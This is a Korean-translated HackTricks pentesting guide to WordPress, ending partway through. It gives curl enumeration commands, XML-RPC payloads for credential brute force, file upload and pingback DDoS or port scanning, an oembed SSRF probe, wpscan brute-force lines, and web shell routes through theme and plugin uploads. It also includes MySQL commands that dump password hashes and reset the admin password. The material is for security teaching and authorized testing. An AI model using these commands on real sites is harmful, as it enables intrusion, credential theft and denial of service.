Wordpress

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

  • ์—…๋กœ๋“œ๋œ ํŒŒ์ผ์€ ๋‹ค์Œ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • ํ…Œ๋งˆ ํŒŒ์ผ์€ /wp-content/themes/์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค, ๋”ฐ๋ผ์„œ ํ…Œ๋งˆ์˜ ์ผ๋ถ€ php๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ RCE๋ฅผ ์–ป์œผ๋ ค๋ฉด ์•„๋งˆ๋„ ํ•ด๋‹น ๊ฒฝ๋กœ๋ฅผ ์ด์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ: theme twentytwelve๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์—์„œ 404.php ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: /wp-content/themes/twentytwelve/404.php

  • ๋‹ค๋ฅธ ์œ ์šฉํ•œ URL ์˜ˆ: /wp-content/themes/default/404.php

  • wp-config.php์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ฃจํŠธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ํ™•์ธํ•ด์•ผ ํ•  ๊ธฐ๋ณธ ๋กœ๊ทธ์ธ ๊ฒฝ๋กœ: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

์ฃผ์š” WordPress ํŒŒ์ผ

  • index.php
  • license.txt์—๋Š” ์„ค์น˜๋œ WordPress ๋ฒ„์ „๊ณผ ๊ฐ™์€ ์œ ์šฉํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • wp-activate.php๋Š” ์ƒˆ WordPress ์‚ฌ์ดํŠธ ์„ค์ • ์‹œ ์ด๋ฉ”์ผ ํ™œ์„ฑํ™” ํ”„๋กœ์„ธ์Šค์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • ๋กœ๊ทธ์ธ ํด๋”(์ˆจ๊ธฐ๊ธฐ ์œ„ํ•ด ์ด๋ฆ„์ด ๋ณ€๊ฒฝ๋˜์—ˆ์„ ์ˆ˜ ์žˆ์Œ):
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
  • xmlrpc.php๋Š” HTTP๋ฅผ ์ „์†ก ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ, XML์„ ์ธ์ฝ”๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ ์‚ฌ์šฉํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋Š” WordPress์˜ ๊ธฐ๋Šฅ์„ ๋‚˜ํƒ€๋‚ด๋Š” ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ์ด ์œ ํ˜•์˜ ํ†ต์‹ ์€ WordPress์˜ REST API์— ์˜ํ•ด ๋Œ€์ฒด๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • wp-content ํด๋”๋Š” ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๊ฐ€ ์ €์žฅ๋˜๋Š” ์ฃผ์š” ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค.
  • wp-content/uploads/๋Š” ํ”Œ๋žซํผ์— ์—…๋กœ๋“œ๋œ ๋ชจ๋“  ํŒŒ์ผ์ด ์ €์žฅ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค.
  • wp-includes/๋Š” ์ธ์ฆ์„œ, ๊ธ€๊ผด, JavaScript ํŒŒ์ผ ๋ฐ ์œ„์ ฏ๊ณผ ๊ฐ™์€ ํ•ต์‹ฌ ํŒŒ์ผ๋“ค์ด ์ €์žฅ๋˜๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ์ž…๋‹ˆ๋‹ค.
  • wp-sitemap.xml WordPress ๋ฒ„์ „ 5.5 ์ด์ƒ์—์„œ๋Š” ๊ณต๊ฐœ ํฌ์ŠคํŠธ ๋ฐ ๊ณต๊ฐœ์ ์œผ๋กœ ์ฟผ๋ฆฌ ๊ฐ€๋Šฅํ•œ ํฌ์ŠคํŠธ ํƒ€์ž…๊ณผ ํƒ์†Œ๋…ธ๋ฏธ๋ฅผ ํฌํ•จํ•œ sitemap XML ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Post exploitation

  • wp-config.php ํŒŒ์ผ์—๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ด๋ฆ„, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ˜ธ์ŠคํŠธ, ์‚ฌ์šฉ์ž๋ช… ๋ฐ ๋น„๋ฐ€๋ฒˆํ˜ธ, ์ธ์ฆ ํ‚ค์™€ ์†”ํŠธ, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํ…Œ์ด๋ธ” ์ ‘๋‘์‚ฌ ๋“ฑ WordPress๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์ •๋ณด๊ฐ€ ๋“ค์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„ค์ • ํŒŒ์ผ์€ ๋ฌธ์ œ ํ•ด๊ฒฐ์— ์œ ์šฉํ•œ DEBUG ๋ชจ๋“œ๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋Š” ๋ฐ์—๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž ๊ถŒํ•œ

  • Administrator
  • Editor: ์ž์‹ ์˜ ๋ฐ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒŒ์‹œํ•˜๊ณ  ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค
  • Author: ์ž์‹ ์˜ ๊ฒŒ์‹œ๋ฌผ์„ ๊ฒŒ์‹œํ•˜๊ณ  ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค
  • Contributor: ๊ฒŒ์‹œ๋ฌผ์„ ์ž‘์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์œผ๋‚˜ ๊ฒŒ์‹œํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค
  • Subscriber: ๊ฒŒ์‹œ๋ฌผ์„ ์—ด๋žŒํ•˜๊ณ  ์ž์‹ ์˜ ํ”„๋กœํ•„์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

Passive Enumeration

Get WordPress version

/license.txt ๋˜๋Š” /readme.html ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

ํŽ˜์ด์ง€์˜ source code ๋‚ด์—์„œ (์˜ˆ: https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS ๋งํฌ ํŒŒ์ผ

  • JavaScript ํŒŒ์ผ

ํ”Œ๋Ÿฌ๊ทธ์ธ ์–ป๊ธฐ

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

ํ…Œ๋งˆ ๊ฐ€์ ธ์˜ค๊ธฐ

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

์ผ๋ฐ˜์ ์œผ๋กœ ๋ฒ„์ „ ์ถ”์ถœํ•˜๊ธฐ

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

๋Šฅ๋™์  ์—ด๊ฑฐ

ํ”Œ๋Ÿฌ๊ทธ์ธ ๋ฐ ํ…Œ๋งˆ

์•„๋งˆ ๋ชจ๋“  ํ”Œ๋Ÿฌ๊ทธ์ธ๊ณผ ํ…Œ๋งˆ๋ฅผ ์ฐพ์„ ์ˆ˜๋Š” ์—†์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ชจ๋‘ ๋ฐœ๊ฒฌํ•˜๋ ค๋ฉด actively Brute Force a list of Plugins and Themes ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๋‹คํ–‰ํžˆ๋„ ์ด๋Ÿฌํ•œ ๋ชฉ๋ก์„ ํฌํ•จํ•œ ์ž๋™ํ™” ๋„๊ตฌ๋“ค์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค).

์‚ฌ์šฉ์ž

  • ID Brute: Brute Forcing ์‚ฌ์šฉ์ž ID๋ฅผ ํ†ตํ•ด WordPress ์‚ฌ์ดํŠธ์˜ ์œ ํšจํ•œ ์‚ฌ์šฉ์ž๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค:
curl -s -I -X GET http://blog.example.com/?author=1

์‘๋‹ต์ด 200 ๋˜๋Š” 30X์ด๋ฉด ํ•ด๋‹น id๊ฐ€ ์œ ํšจํ•˜๋‹ค๋Š” ์˜๋ฏธ์ž…๋‹ˆ๋‹ค. ์‘๋‹ต์ด 400์ด๋ฉด id๊ฐ€ ๋ฌดํšจ์ž…๋‹ˆ๋‹ค.

  • wp-json: ์ฟผ๋ฆฌํ•˜์—ฌ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:
curl http://blog.example.com/wp-json/wp/v2/users

์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ๋Š” ๋˜ ๋‹ค๋ฅธ /wp-json/ endpoint๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

์ด ์—”๋“œํฌ์ธํŠธ๋Š” ๊ฒŒ์‹œ๋ฌผ์„ ์ž‘์„ฑํ•œ ์‚ฌ์šฉ์ž๋งŒ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ํ™œ์„ฑํ™”ํ•œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋งŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ /wp-json/wp/v2/pages๋Š” IP ์ฃผ์†Œ๋ฅผ leakํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • Login username enumeration: **/wp-login.php**์— ๋กœ๊ทธ์ธํ•  ๋•Œ ๋ฉ”์‹œ์ง€๊ฐ€ ๋‹ค๋ฅด๊ฒŒ ํ‘œ์‹œ๋˜์–ด ์‚ฌ์šฉ์ž ์ด๋ฆ„์ด ์กด์žฌํ•˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

XML-RPC

xml-rpc.php๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด credentials brute-force๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๋ฆฌ์†Œ์Šค์— DoS ๊ณต๊ฒฉ์„ ์‹œ์ž‘ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (์˜ˆ: ์ด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•˜๋ ค๋ฉด using this๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

ํ™œ์„ฑํ™” ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด _/xmlrpc.php_์— ์ ‘์†ํ•˜์—ฌ ๋‹ค์Œ ์š”์ฒญ์„ ์ „์†กํ•ด ๋ณด์‹ญ์‹œ์˜ค:

ํ™•์ธ

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ๋˜๋Š” **metaWeblog.getUsersBlogs**๋Š” credentials๋ฅผ brute-forceํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฉ”์„œ๋“œ ์ค‘ ์ผ๋ถ€์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋“ค์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

200 ์ฝ”๋“œ ์‘๋‹ต ๋‚ด๋ถ€์— โ€œIncorrect username or passwordโ€ ๋ฉ”์‹œ์ง€๋Š” ์ž๊ฒฉ ์ฆ๋ช…์ด ์œ ํšจํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ํ‘œ์‹œ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์˜ฌ๋ฐ”๋ฅธ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‘๋‹ต์—์„œ ๊ฒฝ๋กœ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

๋˜ํ•œ faster way๊ฐ€ ์žˆ๋Š”๋ฐ, ๋™์ผํ•œ ์š”์ฒญ์œผ๋กœ ์—ฌ๋Ÿฌ credentials๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— **system.multicall**์„ ์‚ฌ์šฉํ•ด brute-force credentials๋ฅผ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Bypass 2FA

์ด ๋ฐฉ๋ฒ•์€ ์‚ฌ๋žŒ์šฉ์ด ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์šฉ์œผ๋กœ ๋งŒ๋“ค์–ด์กŒ๊ณ  ์˜ค๋ž˜๋œ ๋ฐฉ์‹์ด๊ธฐ ๋•Œ๋ฌธ์— 2FA๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์œ ํšจํ•œ creds๋Š” ๊ฐ€์ง€๊ณ  ์žˆ์ง€๋งŒ ์ฃผ์š” ์ง„์ž…์ ์ด 2FA๋กœ ๋ณดํ˜ธ๋˜์–ด ์žˆ๋‹ค๋ฉด, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. ์ฝ˜์†”์—์„œ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ, Ippsec๊ฐ€ https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s์—์„œ ์„ค๋ช…ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ ์—ฌ์ „ํžˆ RCE์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

DDoS or port scanning

๋ชฉ๋ก์—์„œ pingback.ping ๋ฉ”์„œ๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋ฉด, Wordpress๊ฐ€ ์ž„์˜์˜ ํ˜ธ์ŠคํŠธ/ํฌํŠธ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด๊ฒƒ์„ ์ด์šฉํ•˜๋ฉด thousands์˜ Wordpress sites์— ํ•˜๋‚˜์˜ location์— ์ ‘๊ทผํ•˜๋„๋ก ์š”์ฒญํ•˜๊ฒŒ ํ•จ์œผ๋กœ์จ ํ•ด๋‹น ์œ„์น˜์— DDoS๋ฅผ ์ผ์œผํ‚ค๊ฑฐ๋‚˜, ํŠน์ • ํฌํŠธ๋ฅผ ์ง€์ •ํ•˜์—ฌ Wordpress๋ฅผ lo scanํ•˜๋„๋ก ๋งŒ๋“ค์–ด ๋‚ด๋ถ€ network๋ฅผ ์Šค์บ”ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (ํฌํŠธ๋Š” ์›ํ•˜๋Š” ๋Œ€๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

๊ฐ’์ด 0 (17)๋ณด๋‹ค ํฐ faultCode๋ฅผ ๋ฐ›์œผ๋ฉด ํฌํŠธ๊ฐ€ ์—ด๋ ค ์žˆ๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค.

์ด์ „ ์„น์…˜์—์„œ **system.multicall**์˜ ์‚ฌ์šฉ๋ฒ•์„ ์‚ดํŽด๋ณด๋ฉด ์ด ๋ฉ”์„œ๋“œ๋ฅผ ์•…์šฉํ•ด DDoS๋ฅผ ์ผ์œผํ‚ค๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

์ด ํŒŒ์ผ์€ ๋ณดํ†ต Wordpress ์‚ฌ์ดํŠธ์˜ ๋ฃจํŠธ์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค: /wp-cron.php
์ด ํŒŒ์ผ์— accessed๋˜๋ฉด heavy MySQL query๊ฐ€ ์ˆ˜ํ–‰๋˜์–ด attackers๊ฐ€ DoS๋ฅผ causeํ•˜๋Š” ๋ฐ ์ด์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ ๊ธฐ๋ณธ์ ์œผ๋กœ wp-cron.php๋Š” ๋ชจ๋“  ํŽ˜์ด์ง€ ๋กœ๋“œ(ํด๋ผ์ด์–ธํŠธ๊ฐ€ Wordpress ํŽ˜์ด์ง€๋ฅผ ์š”์ฒญํ•  ๋•Œ๋งˆ๋‹ค) ์‹œ ํ˜ธ์ถœ๋˜๋ฏ€๋กœ, ํŠธ๋ž˜ํ”ฝ์ด ๋งŽ์€ ์‚ฌ์ดํŠธ์—์„œ๋Š” ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒ(DoS)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Wp-Cron์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ณ  ํ˜ธ์ŠคํŠธ ๋‚ด์—์„œ ์‹ค์ œ cronjob์„ ๋งŒ๋“ค์–ด ํ•„์š”ํ•œ ์ž‘์—…์„ ์ •๊ธฐ์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค(๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ค์ง€ ์•Š๋„๋ก).

/wp-json/oembed/1.0/proxy - SSRF

๋‹ค์Œ์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”: https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net ๊ทธ๋ฆฌ๊ณ  Worpress ์‚ฌ์ดํŠธ๊ฐ€ ๋‹น์‹ ์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

This is the response when it doesnโ€™t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

์ด ๋„๊ตฌ๋Š” methodName: pingback.ping์ด ์žˆ๋Š”์ง€์™€ /wp-json/oembed/1.0/proxy ๊ฒฝ๋กœ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๊ณ , ์กด์žฌํ•˜๋ฉด ์ด๋ฅผ ์ด์šฉํ•ด ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

์ž๋™ ๋„๊ตฌ

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

ํ•œ ๋น„ํŠธ๋ฅผ ๋ฎ์–ด์จ์„œ ์ ‘๊ทผํ•˜๊ธฐ

์‹ค์ œ ๊ณต๊ฒฉ์ด๋ผ๊ธฐ๋ณด๋‹ค๋Š” ํ˜ธ๊ธฐ์‹ฌ์— ๊ฐ€๊นŒ์šด ์‚ฌ๋ก€๋‹ค. IN the CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man์—์„œ๋Š” ์–ด๋–ค wordpress ํŒŒ์ผ์˜ 1๋น„ํŠธ๋ฅผ ๋’ค์ง‘์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค. ๊ทธ๋ž˜์„œ ํŒŒ์ผ /var/www/html/wp-includes/user.php์˜ ์œ„์น˜ 5389 ๋น„ํŠธ๋ฅผ ๋’ค์ง‘์–ด NOP the NOT (!) ์—ฐ์‚ฐ์„ ๋ฌดํšจํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

์‚ฌ์šฉ ์ค‘์ธ ํ…Œ๋งˆ์˜ php ์ˆ˜์ • (๊ด€๋ฆฌ์ž ์ž๊ฒฉ ์ฆ๋ช… ํ•„์š”)

Appearance โ†’ Theme Editor โ†’ 404 Template (์˜ค๋ฅธ์ชฝ์—)

Change the content for a php shell:

์—…๋ฐ์ดํŠธ๋œ ํŽ˜์ด์ง€์— ์–ด๋–ป๊ฒŒ ์ ‘๊ทผํ•˜๋Š”์ง€ ์ธํ„ฐ๋„ท์—์„œ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”. ์ด ๊ฒฝ์šฐ์—๋Š” ๋‹ค์Œ์— ์ ‘๊ทผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:

Then add a new plugin:

Upload plugin and press Install Now:

Click on Procced:

Probably this wonโ€™t do anything apparently, but if you go to Media, you will see your shell uploaded:

Access it and you will see the URL to execute the reverse shell:

Uploading and activating malicious plugin

์ด ๋ฐฉ๋ฒ•์€ ์ทจ์•ฝํ•œ ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์ง„ ์•…์„ฑ plugin์„ ์„ค์น˜ํ•˜์—ฌ web shell์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ WordPress dashboard๋ฅผ ํ†ตํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

  1. Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
  2. Plugin Installation:
  • Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
  • Upload the zip file of the downloaded plugin.
  1. Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
  2. Exploitation:
  • With the plugin โ€œreflex-galleryโ€ installed and activated, it can be exploited as it is known to be vulnerable.
  • The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
  • Itโ€™s noted that this is just one of the many methods to exploit a WordPress site.

The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, itโ€™s important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or otherโ€™s criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Creates an user in WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
  • (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
  • (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
  • (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.

Post Exploitation

์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ถ”์ถœ:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress ํ”Œ๋Ÿฌ๊ทธ์ธ Pentest

๊ณต๊ฒฉ ํ‘œ๋ฉด

Wordpress ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ์–ด๋–ป๊ฒŒ ๋…ธ์ถœํ•˜๋Š”์ง€๋Š” ํ•ด๋‹น ๊ธฐ๋Šฅ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๋ฐ ํ•ต์‹ฌ์ ์ด๋‹ค. ํ”Œ๋Ÿฌ๊ทธ์ธ์ด ๊ธฐ๋Šฅ์„ ๋…ธ์ถœํ•˜๋Š” ๋ฐฉ์‹์€ ์•„๋ž˜ ํ•ญ๋ชฉ๋“ค์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ทจ์•ฝํ•œ ํ”Œ๋Ÿฌ๊ทธ์ธ ์˜ˆ์‹œ๋Š” this blog post๋ฅผ ์ฐธ๊ณ ํ•˜๋ผ.

  • wp_ajax

